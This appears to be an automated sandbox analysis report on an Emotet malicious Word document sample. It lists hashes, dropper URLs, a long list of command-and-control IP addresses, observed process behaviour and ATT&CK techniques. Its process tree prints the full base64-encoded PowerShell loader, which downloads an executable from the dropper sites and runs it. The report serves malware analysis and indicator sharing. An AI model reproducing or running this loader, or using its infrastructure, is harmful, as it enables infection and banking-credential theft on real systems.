emotet | 2b66ecd3111becc2a55700b18472d4d52f1647499c9946c6ce191a23b86feb20

Analysis

max time kernel
135s
max time network
136s
platform
windows10_x64
resource
win10
submitted
12/08/2020, 23:02

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General

Target
emotet_e2_2b66ecd3111becc2a55700b18472d4d52f1647499c9946c6ce191a23b86feb20_2020-08-12__225951._doc.doc
Size 227KB
Sample200812-fx1jlmp6ce
SHA256 2b66ecd3111becc2a55700b18472d4d52f1647499c9946c6ce191a23b86feb20
MD5 d608aedc261d421042e7f56ee43fc166
SHA1 87678768de27d8ca88a9b76c3e826b8896534a19
SHA512 8f6e52086e84a58347f5dbb35000e345a81057c9b7ef95c3ccb4777dec7b7518031f0cf77ef4ddcdb260e6a0fec1be81507963d5f03f37eb726d15abd58eba1e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://cnoenc.com/backup/98r_1_5bm32i/
exe.dropper
http://nickkind.com/framelines/vp_1pw_sn6d49as/
exe.dropper
http://phrachudadhuj.com/css/l_5uu9_b/
exe.dropper
http://multiesfera.com/clientes/nn_hf1_zw8g7/
exe.dropper
http://nikolovmedia.com/wp-admin/98_1_d3xmqp8/

Extracted

Family

emotet

174.102.48.180:80
192.210.135.126:8080
67.205.85.243:8080
47.146.32.175:80
116.203.32.252:8080
189.212.199.126:443
72.12.127.184:443
180.92.239.110:8080
103.86.49.11:8080
181.230.116.163:80
157.147.76.151:80
74.120.55.163:80
121.124.124.40:7080
79.98.24.39:8080
142.105.151.124:443
167.86.90.214:8080
24.179.13.119:80
62.138.26.28:8080
165.165.171.160:8080
74.208.45.104:8080
2.58.16.85:7080
91.211.88.52:7080
183.101.175.193:80
95.179.229.244:8080
107.185.211.16:80
157.245.99.39:8080
83.169.36.251:8080
104.236.246.93:8080
110.145.77.103:80
190.160.53.126:80
190.55.181.54:443
87.106.136.232:8080
76.27.179.47:80
104.131.11.150:443
168.235.67.138:7080
153.126.210.205:7080
47.153.182.47:80
87.106.139.101:8080
209.182.216.177:443
51.75.33.120:8080
85.152.162.105:80
169.239.182.217:8080
46.105.131.79:8080
209.143.35.232:80
152.168.248.128:443
201.173.217.124:443
204.197.146.48:80
199.101.86.142:8080
114.146.222.200:80
113.160.130.116:8443
70.167.215.250:8080
176.111.60.55:8080
47.146.117.214:80
47.144.21.12:443
200.41.121.90:80
137.59.187.107:8080
93.51.50.171:8080
139.130.242.43:80
85.105.205.77:8080
109.74.5.95:8080
37.139.21.175:8080
62.75.141.82:80
5.39.91.110:7080
222.214.218.37:4143
185.94.252.104:443
24.137.76.62:80
203.153.216.189:7080
24.43.99.75:80
41.60.200.34:80
78.24.219.147:8080
61.19.246.238:443
104.131.44.150:8080
119.198.40.179:80
37.187.72.193:8080
139.59.60.244:8080
5.196.74.210:8080
181.211.11.242:80
209.141.54.221:8080
173.62.217.22:443
83.110.223.58:443
81.2.235.111:8080
95.213.236.64:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2916	1732	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/412-16-0x0000000002240000-0x000000000224C000-memory.dmp	emotet
behavioral2/memory/412-16-0x0000000002240000-0x000000000224C000-memory.dmp	emotet
behavioral2/memory/492-19-0x0000000000A20000-0x0000000000A2C000-memory.dmp	emotet
behavioral2/memory/492-19-0x0000000000A20000-0x0000000000A2C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
7	2916	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
412	728.exe
492	HNetCfgClient.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\InstallAgentUserBroker\HNetCfgClient.exe	728.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2920	WINWORD.EXE
2920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2916	powersheLL.exe
2916	powersheLL.exe
2916	powersheLL.exe
492	HNetCfgClient.exe
492	HNetCfgClient.exe
492	HNetCfgClient.exe
492	HNetCfgClient.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2916	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
412	728.exe
412	728.exe
492	HNetCfgClient.exe
492	HNetCfgClient.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 412 wrote to memory of 492	412	728.exe	76
PID 412 wrote to memory of 492	412	728.exe	76
PID 412 wrote to memory of 492	412	728.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_2b66ecd3111becc2a55700b18472d4d52f1647499c9946c6ce191a23b86feb20_2020-08-12__225951._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2920

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABQAFAAUgBCAEMAcwBrAHQAPQAnAEgAWQBJAEgARgBqAGMAcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAGAASQBUAHkAYABwAFIAbwBUAG8AYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVAE8AVQBVAFgAdwBmAG0AIAA9ACAAJwA3ADIAOAAnADsAJABUAFAAQgBEAEoAcQBnAHEAPQAnAE4ATwBGAFoAQwBzAHAAdAAnADsAJABPAE8AUwBSAFoAawBxAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUATwBVAFUAWAB3AGYAbQArACcALgBlAHgAZQAnADsAJABOAE0AQQBHAEYAbgBpAGEAPQAnAE4ASgBLAFIARgBkAGQAdAAnADsAJABFAFgARQBLAFMAYwBnAGgAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAGIAYwBMAEkARQBuAFQAOwAkAEsATwBMAFUASgBoAGIAZgA9ACcAaAB0AHQAcAA6AC8ALwBjAG4AbwBlAG4AYwAuAGMAbwBtAC8AYgBhAGMAawB1AHAALwA5ADgAcgBfADEAXwA1AGIAbQAzADIAaQAvACoAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGsAaQBuAGQALgBjAG8AbQAvAGYAcgBhAG0AZQBsAGkAbgBlAHMALwB2AHAAXwAxAHAAdwBfAHMAbgA2AGQANAA5AGEAcwAvACoAaAB0AHQAcAA6AC8ALwBwAGgAcgBhAGMAaAB1AGQAYQBkAGgAdQBqAC4AYwBvAG0ALwBjAHMAcwAvAGwAXwA1AHUAdQA5AF8AYgAvACoAaAB0AHQAcAA6AC8ALwBtAHUAbAB0AGkAZQBzAGYAZQByAGEALgBjAG8AbQAvAGMAbABpAGUAbgB0AGUAcwAvAG4AbgBfAGgAZgAxAF8AegB3ADgAZwA3AC8AKgBoAHQAdABwADoALwAvAG4AaQBrAG8AbABvAHYAbQBlAGQAaQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA5ADgAXwAxAF8AZAAzAHgAbQBxAHAAOAAvACcALgAiAFMAcABgAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATgBMAEkASwBWAGIAeABmAD0AJwBCAFoARgBQAFEAcAB1AGUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEgATQBCAEYAUAB4AGYAagAgAGkAbgAgACQASwBPAEwAVQBKAGgAYgBmACkAewB0AHIAeQB7ACQARQBYAEUASwBTAGMAZwBoAC4AIgBkAG8AVwBOAGwAbwBBAGAAZABgAEYAYABpAEwAZQAiACgAJABIAE0AQgBGAFAAeABmAGoALAAgACQATwBPAFMAUgBaAGsAcQB6ACkAOwAkAEIATgBKAE8AVgBpAGkAdAA9ACcAQwBXAEkAQwBXAGoAYgBiACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQATwBPAFMAUgBaAGsAcQB6ACkALgAiAEwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgA2ADMAMQAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBhAGAAVABlACIAKAAkAE8ATwBTAFIAWgBrAHEAegApADsAJABDAFIAWgBJAFoAZgBnAGIAPQAnAFkAUwBWAFgAQgB3AGMAZwAnADsAYgByAGUAYQBrADsAJABaAFEAWgBDAEIAdQB2AGoAPQAnAFoARABXAE4ATwBoAHUAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAEUASgBJAE8AaABmAHYAPQAnAEcAWQBIAEYAVQBkAHUAYwAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2916

C:\Users\Admin\728.exe
C:\Users\Admin\728.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:412
- C:\Windows\SysWOW64\InstallAgentUserBroker\HNetCfgClient.exe
  "C:\Windows\SysWOW64\InstallAgentUserBroker\HNetCfgClient.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/412-16-0x0000000002240000-0x000000000224C000-memory.dmp

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memory/492-19-0x0000000000A20000-0x0000000000A2C000-memory.dmp

Download

memory/2916-11-0x00007FFB49530000-0x00007FFB49F1C000-memory.dmp

Download

memory/2916-13-0x000001A5FB9B0000-0x000001A5FB9B1000-memory.dmp

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memory/2916-12-0x000001A5E3650000-0x000001A5E3651000-memory.dmp

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memory/2920-5-0x000002000B5D2000-0x000002000B5D5000-memory.dmp

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memory/2920-10-0x000002000B777000-0x000002000B780000-memory.dmp

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memory/2920-9-0x000002000B777000-0x000002000B780000-memory.dmp

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memory/2920-8-0x000002000B777000-0x000002000B780000-memory.dmp

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memory/2920-7-0x000002000B780000-0x000002000B785000-memory.dmp

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memory/2920-6-0x0000020009045000-0x000002000904E000-memory.dmp

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memory/2920-0-0x00007FFB51620000-0x00007FFB51CE6000-memory.dmp

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memory/2920-4-0x000002000B5D2000-0x000002000B5D5000-memory.dmp

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memory/2920-3-0x000002000B5D5000-0x000002000B5DA000-memory.dmp

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memory/2920-2-0x000002000B5D5000-0x000002000B5DA000-memory.dmp

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memory/2920-1-0x000002000B5D5000-0x000002000B5DA000-memory.dmp

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